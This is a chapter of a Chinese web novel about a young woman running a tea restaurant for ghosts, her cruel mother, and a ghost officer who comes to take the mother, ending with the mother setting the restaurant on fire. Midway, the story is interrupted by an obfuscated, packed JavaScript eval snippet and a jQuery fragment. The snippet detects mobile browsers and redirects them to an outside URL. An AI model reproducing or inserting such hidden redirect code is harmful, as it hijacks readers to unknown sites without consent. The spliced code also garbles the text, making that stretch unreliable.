第一个月落日。
阿元告知店铺鬼客，她将于不久远行，店铺以后种种都交由幸芝打理。
“以后，幸芝站在这里，便是店家。”
幸芝手足无措站立在侧。
第二个月落日。
母亲忽然回到店里，看上去疗养院的生活并未对她的身体有所帮助，她撑在桌子旁指挥着小姨一遍遍擦拭桌面，即便是蒸发米糕用的香醋倒多少母亲也一再反复调试。
母亲面色阴沉，见店中一切有条不紊，愈发心中不快。这家店，从她几世开始，跑堂杂扫都是她，到后来阿元劳改，这里的里里外外都是她一把手操持。
三十五年，不是三十五天。她早就把这家店看得比命还重要，尽管她嘴上常说，有一天这店还是要交到幸芝手上。可她心里知道，只要她还活着一天，这店绝不假以人手。
可是，你看，她只是离开几天，桌上拜访油醋的罐子都换了样式。
母亲拿起白瓷油罐狠狠砸在地上，大声质问：“谁！是谁让你换的！”
小姨不敢开口，但凡她只要张嘴，母亲便有一串说辞等待着她。
无非就是回去做她的官太太和贵小姐……
好像只因为这一件事，两人从前五十多年的情分便烟消云散。
小姨只得做低伏小，做最脏的活计，挨最辛辣的责骂。
幸芝不免替小姨叫屈。她惯是与小姨要好些的，读书时只有小姨不论晴雨去校门外接她。
高中要自习，等放学已经是深夜，从校门到东市口要经过一条漆黑的巷道，只有小姨会打着手电在巷口等她。
记得有次暴雨，小姨抱着雨衣等在校门口，她却因为担心雨水淋湿书本躲在教室里，直到门卫大叔喊她，小姨浑身上下只有抱着雨衣那处不曾淋湿。
她的第一件内衣是小姨买的。
胸部开始发育时，她勾着腰不敢挺身，鼓起勇气向母亲开口，只换来她的愤怒和责骂。
母亲叉着腰站在店门口，指着她的鼻子骂。
鼓鼓囊囊是要勾引谁去！
扯两条麻布裹着去！
她始终无法忘记当时母亲沉下来的眼神和恨透了她的语气。
是小姨偷偷领她去店里试了又试，买了换洗的两身。
第一次月事，她惊惶无措哭喊着说自己要死了流血了，引来父亲哈哈大笑时，母亲在旁笑得更欢，甚至将此事作为笑谈与店里的食客屡次提及。
是小姨，在她将卫生巾贴反后小心翼翼替她处理，又叫她如何保持清洁和爱护自己。
她有时，甚至想，如果她是小姨的孩子该多好。
小姨总说，母亲只是不善言辞，直到来松出生后，幸芝才惊觉母亲不是不会爱人。
她只是不爱幸芝。
幸芝忆及往事，不免心生恨恼。
夜里多留两个餐盒丢在门口喂食野鬼。
次日，母亲瞧见木桶里被丢弃的食物面色一白，却未发作，只是怔了良久埋怨小姨浪费粮食。
语气却不如往日跋扈。
幸芝也不是故意投喂无人祭拜的野鬼。
她只因日子无聊至极，想多打探些消息。比如阿元灯笼里的烛油如何添加，再比如有没有需要托梦和织梦的营生……
这些全无消息，幸芝却听到另一个传闻。
说是死去数月的女人忽然复活，像个正常人一样沐浴在阳光下。
野鬼议论纷纷，就说是阿元也得不到如此造化，能让死去的肉身复活。
幸芝好奇，便趁着天未亮前往女人摆摊的小巷。
女人名唤小卉，生前育有两女，得病死于半年前。
如今小卉在巷口支了移动摊位卖馄炖，因为馅料新鲜份量又足，开张才月余便收获一批食客。
她天不亮就出摊，七点收摊送两个孩子上学，傍晚五点开始一直摆摊到夜里一两点。
她不知疲倦浑身上下充满力量。
幸芝刚落脚，小卉便望向她招呼道：“你是阿元茶餐厅的新老板娘吧，托阿元的福气收留我吃了好些年。”
幸芝晃神问：“你能瞧见我？”
“我是鬼嘛，瞧见您也没什么稀奇的。对了，要不要吃碗我的馄饨，很香的。”
幸芝摆摆手，
她闻不见活人饭的味道，勉强吃下去也如嚼生蜡。
小卉说话间便有食客上门，要了碗大份馄炖带走。她动作麻利很快将馄炖包好丢入沸水中，再添碗凉水煮开后捞出，就连调味的香料也与别家无异，偏只有她门前排起长队。
幸芝瞧见她身后阴影，心中纳闷，只是食客众多，小卉根本分不开神理会她。她守了会儿觉得无趣便离开。
最后一个落月日很快到来，幸芝却没有办法将阿元留下。
这一夜，有个外乡人忽然闯进茶餐厅，店内鬼客瞧见来人模样纷纷起身避让。顷刻间，店内只余他一鬼。
若非他满身鬼气。
“阿元呢？”
来人留着满脸络腮胡，乌黑的长发给风帽束在耳后，满身风尘仆仆似是跋涉万水千山。
“也是，算算日子，阿元也该羽化了。”
男子饮下凉茶，双眼在盏中投下阴影。
“所以，你是阿元女儿？”
言罢，复又摇头道：“看来不是了。”
“你是谁？找我阿婆何事？”
男子笑道：“阿元只把店面交由你，却未曾教你如何与鬼差打交道？”
“你是鬼差？”
幸芝飞扑着朝自己的灯笼奔去，只见男子身形微动，细长竹柄的灯笼便落入对方手中。
他抬起后细细打量。
幸芝僵在原地，分毫不敢抗争。
男子微抬手，灯笼便落回原处。
他开口道：“十几年的死皮，也难为阿元了。”
“啊？”
“你母亲阳寿已尽，业障难消，我是来带她走的。”
男子说完看了眼玻璃门外坐在轮椅上的女人，苍老而疲累的背影下，那种透着古怪的坚韧仍旧没有消散。
“不行！”
幸芝想都没想断然开口。
男子有被气笑，指尖轻扣台面道：“怎么？你想拦我？”
“不是的。”幸芝摆手道：“既然您认识阿元，请您大人有大量，好歹等阿元知晓再将人带走，如何？”
男子点头道：“也不是不可，我便看在阿元面上，再等一日。”
鬼差说完便推门离开。
等阿元得了野鬼口信回来时，已是后半夜，她瞧上去似乎苍老了许多，原本乌黑的长发如今已然全白，佝偻着身躯连抬脚迈入门槛都难以维持，稍稍些举动便气喘如牛……
阿元像一只老得快要死掉的老鬼。
快要消失了。
听闻鬼差卖了她一个面子，阿元沟壑丛生的面上挤出一丝笑意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879168|176217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“他吃过我的饭，这就算是还了。”
“阿元，母亲为什么不能留在店里，像我这样，为什么鬼差要带她走？”
“鬼差不是说了，她罪业深重，要下炼狱的。”
“为什么，母亲虽然为人苛刻了些，绝非大恶之辈。她这一辈子勤勤恳恳辛劳一辈子，就连一天好日子也没过上，她做了什么要下地狱。”
幸芝是看着母亲日复一日的辛劳，为了她，也为了这间店，几十年如一日。
以母亲那样的性子，就是下地狱也要比寻常野鬼多吃些苦头。她不懂转圜，又认死理，但凡她觉得对的，十八驾马车也拉不回头，嘴巴又怨毒，从来知道刀子扎在哪里最痛……
阿元叹息道：“好了，替我收拾一番，好去送她一程。”
“阿元！”
幸芝至少以为看上去无所不能的阿元至少能阻止一番。
阿元忽然抬起眉眼，浑浊如豆般的眼神里透着沉沉死气。
她忽然开口道：“阿青下炼狱，不是你所求？”
幸芝一愣，如棒喝僵在原地。
那年十五岁，青春懵懂，少女心事全藏在日记本中。梦见喜欢的男明星，偶遇校球队的前锋，以及某个暗念她请她吃蛋糕的少年，还有风华俊貌文采斐然的语文老师……
心事在笔下留了痕。
无人倾诉的心声一股脑儿倒在纸张上。
那本日记是怎么被母亲发现的至今是未解之谜。母亲攥着日记冲进她的教室，当着同学和老师的面一张张撕烂抛向讲台。她披头撒发大声质问着语文老师，这些年到底教了幸芝些什么东西……
日记散落一地，有好事者拾起大声诵读，被逼至墙角的语文老师仍不忘阻止同学不要触碰他人隐私。
谁在乎呢？
至少母亲不在乎。
她大声逼迫语文老师不许私下联系幸芝，并且推搡着他在讲台上写下保证书。
幸芝惊惶无措，她甚至连反抗都忘记了，只敢小声告诉老师。
对不起，苏老师。
苏老师，对不起。
她愤恨的盯着母亲昂起的后脑勺，一枚钉子和着淋漓鲜血插在她的心口。
她暗自祷告，一定，一定要下地狱。
所有种种，皆是报应。
后来，幸芝休学，再没有见过苏老师，高考前回校拿准考证，她低头赶路，迎面而来的同班同学竟半天叫不出她的名字。
众人显然已经忘记那件事，只有她的青春留在十五岁的春天。
后来，甚至连母亲也不记得这事。
幸芝拦下阿元：“改变不了吗？那就让我下地狱吧。”
阿元抬头笑骂：“想得美！待阿青洗尽业障，她还是可以重新做人的。至于你，幸芝啊，你和这间茶餐厅一起，终将不入轮回。”
幸芝被惊醒的。
阁楼外浓烟四起，跳动的火舌舔舐着茶餐厅的四周。
玻璃窗外，母亲拎着汽油桶仰天长笑。
她说：“坑了我一辈子，够了，别再害别人了。死了就去投胎，做不成人就去做畜牲。活着已经够辛苦了，要被活人使唤，还要听死人摆布。下辈子吧，别见面了！”
阿元杵着拐杖，隔着火光望着自己疯癫无状的长女。
营业快五十年的茶餐厅成了一堆废墟。
大火烧毁了这里的一切，只留下两盏灯笼好端端挂在断壁上。